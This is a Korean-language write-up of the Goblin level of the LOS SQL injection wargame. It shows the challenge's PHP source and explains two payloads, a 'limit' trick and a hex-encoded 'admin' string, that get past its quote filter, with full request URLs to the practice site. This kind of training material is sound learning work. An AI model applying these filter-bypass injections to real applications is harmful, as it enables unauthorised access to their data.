LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 Cobolt에 이어 Goblin 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
	include "./config.php"; 
	login_chk(); 
	dbconnect(); 
	if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
	if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
	$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
	echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
	$result = @mysql_fetch_array(mysql_query($query)); 
	if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
	if($result['id'] == 'admin') solve("goblin");
	highlight_file(__FILE__); 
?>


위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다.

여기서는 또 하나의 특징이 있습니다.

위의 값은 no(넘버) 라는 값에 쿼리를 삽입해야 하는데, 값을 입력하기 위해서 사용했었던 싱글쿼터가 필터링 되어 있는 것을 볼 수 있습니다. 그 외에도 문자열을 표현할 수 있는 표현들이 죄다 필터링 되어 있는 것을 볼 수 있습니다.


흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴볼 필요가 있습니다.


위의 문제에서는 where문에 guest라는 값이 삽입되어 있습니다. 따라서 admin은 다른 방법을 통해 선택해주어야 합니다.

단, 싱글쿼터가 막혀 있기 때문에 0 or id='admin' 과 같은 방법은 통하지 않습니다.





 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 no 쪽에 값 삽입(limit 이용)


https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%201=1%20limit%201,1%23


위의 쿼리는 no=0 or 1=1 limit 1,1%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.

그리고 여기서는 먼저 id가 guest라고 확정되어 있는 where문을 부정해줄 필요가 있습니다.

즉, id='guest'이면 admin이 선택되지 않습니다. 그렇다면 전체 값을 가져와서 그 중에 admin인 녀석을 찾아내야 합니다.

그렇게 되면 쿼리는 다음과 같이 나타나게 됩니다.


 query : select id from prob_goblin where id='guest' and no=0 or 1=1 limit 1,1#


이렇게 되면 id가 guest인 값의 번호가 0으로 선택되기 때문에 거짓 where문이 됩니다.

여기서 1=1이라는 참을 삽입하고, limit로 범위를 지정해주면, admin값을 특정해줄 수 있습니다.


그러고보니 여기서는 주석이 필요가 없군요 하하.


만약 limit 라는 문법을 사용하고 싶지 않다면 다음과 같은 방법을 이용해볼 수 있습니다.



 

 no 쪽에 값 삽입(hex 값 이용)


만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0%20or%20id=0x61646d696e


위의 쿼리는 no=0 or id=0x61646d696e라고 작성해주었습니다.

이러한 hex 값을 이용하는 것은 MySQL에서 0x로 되어있는 16진수 값을 문자열로 받아들이기 때문입니다.

때문에 SQL 문이 다음과 같이 만들어지게 됩니다.


 query : select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e


이렇게 되면 id가 guest인 값의 번호가 0으로 선택되기 때문에 거짓 where문이 됩니다.

그리고 id=0x61646d696e 즉, id='admin'인 값을 가져오라는 쿼리문으로 변하게 됩니다.





+ Recent posts